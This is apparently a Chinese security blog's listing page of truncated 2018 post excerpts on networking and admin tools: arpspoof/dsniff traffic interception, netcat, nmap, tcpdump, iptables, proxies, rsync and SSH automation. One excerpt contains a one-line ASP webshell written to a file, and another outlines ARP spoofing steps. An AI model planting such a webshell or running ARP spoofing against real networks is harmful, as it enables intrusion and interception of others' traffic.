摘要: ### 实例 arpspoof 和dsniff必须配合才可以成功截获同网关内的数据包 1.首先打开本机的路由转发功能 echo 1 > /proc/sys/net/ipv4/ip_forward 2.进行arp欺骗 #arpspoof -i wlan0 网卡接口 -t 指定一个进行arp欺骗的目标, 阅读全文
posted @ 2018-03-18 17:10 数字安全极客 阅读(668) 评论(0) 推荐(0) 编辑
摘要: ## 基本用法 ### 1.连接到REMOTE主机 格式:nc -nvv 218.241.212.141 80 讲解:连到192.168.x.x的TCP80端口### 2.监听LOCAL主机 格式:nc -l -p 80 讲解:监听本机的TCP80端口### 3.扫描远程主机 格式:nc -nvv 阅读全文
posted @ 2018-03-18 17:08 数字安全极客 阅读(85) 评论(0) 推荐(0) 编辑
摘要: ## 1.nmap功能介绍 * 1.主机存活检测* 2.端口探测* 3.服务识别* 4.操作系统识别* 5.硬件地址检测* 6.服务版本识别* 7.漏洞扫描,使用nmap自带脚本## 2.简单示例使用ping检测10.0.0.0/24这个网段 nmap -sP 10.0.0.0/24使用SYN的方法 阅读全文
posted @ 2018-03-18 17:07 数字安全极客 阅读(292) 评论(0) 推荐(0) 编辑
摘要: # 数据库常用资源 ## MySQL常用命令 ### 登录数据库 mysql -h localhost -uroot -p ### 导出数据库 mysqldump -uroot -p db > db.sql ### 导入数据库 mysql -uroot -p db < db.sql // or my 阅读全文
posted @ 2018-03-18 17:00 数字安全极客 阅读(77) 评论(0) 推荐(0) 编辑
摘要: # sock代理nessus proxychains https://hyperdrivesecurity.com/blog/2017/6/15/can-i-vuln-scan-through-a-socks-proxy 阅读全文
posted @ 2018-03-18 16:45 数字安全极客 阅读(923) 评论(0) 推荐(0) 编辑
摘要: Tcpdump监听网卡 监听lo tcpdump -i lo port 80 -X监听eth0 tcpdump -i eth0 port 80 -X监视指定网络接口的数据包 tcpdump -i eth1 ```监视指定主机的数据包打印所有进入或离开sundown的数据包. tcpdump host 阅读全文
posted @ 2018-03-18 16:42 数字安全极客 阅读(67) 评论(0) 推荐(0) 编辑
摘要: ·find path -option [ -print ] [ -exec -ok command ] {} \; find命令的参数; pathname: find命令所查找的目录路径。例如用.来表示当前目录,用/来表示系统根目录。 -print: find命令将匹配的文件输出到标准输出。 -exec: find命令对匹配的文件执行该参数所给出的shell命令。... 阅读全文
posted @ 2018-03-18 16:40 数字安全极客 阅读(435) 评论(0) 推荐(0) 编辑
摘要: 企业要求其计算机系统具有高度的安全性。服务器攻击或恶意软件入侵可能会造成不可估量的损失。本文介绍了最常用的服务器审计和测试工具,以及渗透测试和网络安全工具。 大多数企业倾向于向其客户提供Web服务,因为互联网的存在非常重要,因为诸如高收入潜力,广泛客户的接触等因素。使得企业服务易受各种与Web应用程 阅读全文
posted @ 2018-03-18 16:36 数字安全极客 阅读(576) 评论(0) 推荐(0) 编辑
摘要: 系统命令资源 ## Linux常用指令### Tcpdump监听网卡#### 监听lo tcpdump -i lo port 80 -X#### 监听eth0 tcpdump -i eth0 port 80 -X ### 文件夹操作 查看文件夹大小 du -h --max-depth=1 /home 阅读全文
posted @ 2018-03-18 16:21 数字安全极客 阅读(105) 评论(0) 推荐(0) 编辑
摘要: ## Docker.io yum install docker-io /etc/init.d/docker restart ### Action docker version docker -h docker search tutorial docker pull learn/tutorial do 阅读全文
posted @ 2018-03-18 16:19 数字安全极客 阅读(58) 评论(0) 推荐(0) 编辑
摘要: https://www.gnupg.org/howtos/zh/index.html 阅读全文
posted @ 2018-03-18 16:16 数字安全极客 阅读(54) 评论(0) 推荐(0) 编辑
摘要: 如果你的Linux服务器突然负载暴增,告警短信快发爆你的手机,如何在最短时间内找出Linux性能问题所在?来看Netflix性能工程团队的这篇博文,看它们通过十条命令在一分钟内对机器性能问题进行诊断。 概述 通过执行以下命令,可以在1分钟内对系统资源使用情况有个大致的了解。 uptime dmesg 阅读全文
posted @ 2018-03-18 16:15 数字安全极客 阅读(140) 评论(0) 推荐(0) 编辑
摘要: Windows常用系统命令 # Windows命令### 一句话 echo ^<%eval request("#")%^> > D:\h4ck.asp### 文件夹操作 Md hackdir #创建 Rd hackdir #删除 Dir c:\ #查看c盘根目录全部文件夹和文件信息 Tree e:\ 阅读全文
posted @ 2018-03-18 15:35 数字安全极客 阅读(108) 评论(0) 推荐(0) 编辑
摘要: Linux常用系统命令 # 网络操作 netstat -tulpn Show Linux network ports with process IDs (PIDs) watch ss -stplu Watch TCP, UDP open ports in real time with socket 阅读全文
posted @ 2018-03-18 15:11 数字安全极客 阅读(230) 评论(0) 推荐(0) 编辑
摘要: Dante+Proxifier搭建Socks5服务端和客户端 ### Proxifier Windows客户端使用 http://bbs.ngacn.cc/read.php?tid=3021548### Dante-server 服务端搭建 http://www.asklinux.com/linux 阅读全文
posted @ 2018-03-18 14:58 数字安全极客 阅读(1713) 评论(0) 推荐(0) 编辑
摘要: export http_porxy=yourproxy.com:port export https_proxy=yourproxy.com:port export http_proxy=http://domain\\user:pwd@proxy_addr:port export https_proxy= http://domain\\user:pwd@proxy_addr:port ... 阅读全文
posted @ 2018-03-18 14:56 数字安全极客 阅读(138) 评论(0) 推荐(0) 编辑
摘要: iptables -F iptables -X iptables -Z iptables -P INPUT DROP iptables -A INPUT -i lo -j ACCEPT iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -A INPUT -p tcp --dport 21 -j A... 阅读全文
posted @ 2018-03-18 14:54 数字安全极客 阅读(81) 评论(0) 推荐(0) 编辑
摘要: rsync -v --list-only --port=29989 mhgame@mcs.millionhero.com::mh head 0.lst rsyn -c -a rsync://115.231.46.37/gfs/data3/bc/f62/e4169441 /gfs/data0/ rsync -c -a rsync://115.231.46.37/gfs/data3/bc/f62... 阅读全文
posted @ 2018-03-18 14:47 数字安全极客 阅读(97) 评论(0) 推荐(0) 编辑
摘要: $ showmount -e 192.168.0.96 Export list for 192.168.0.96: /backup/gz 192.168.0.23/32,192.168.0.102/32,192.168.0.40 /backup/webbg_script 192.168.0.0/22 /backup/dw_bak 192.168.... 阅读全文
posted @ 2018-03-18 14:47 数字安全极客 阅读(88) 评论(0) 推荐(0) 编辑
摘要: #!/usr/bin/expect set timeout 2 spawn ssh -p [lindex $argv 0] [lindex $argv 1]@[lindex $argv 2] expect { "(yes/no)?" {send "yes\n";exp_continue} "password:" {send "[l... 阅读全文
posted @ 2018-03-18 14:44 数字安全极客 阅读(256) 评论(0) 推荐(0) 编辑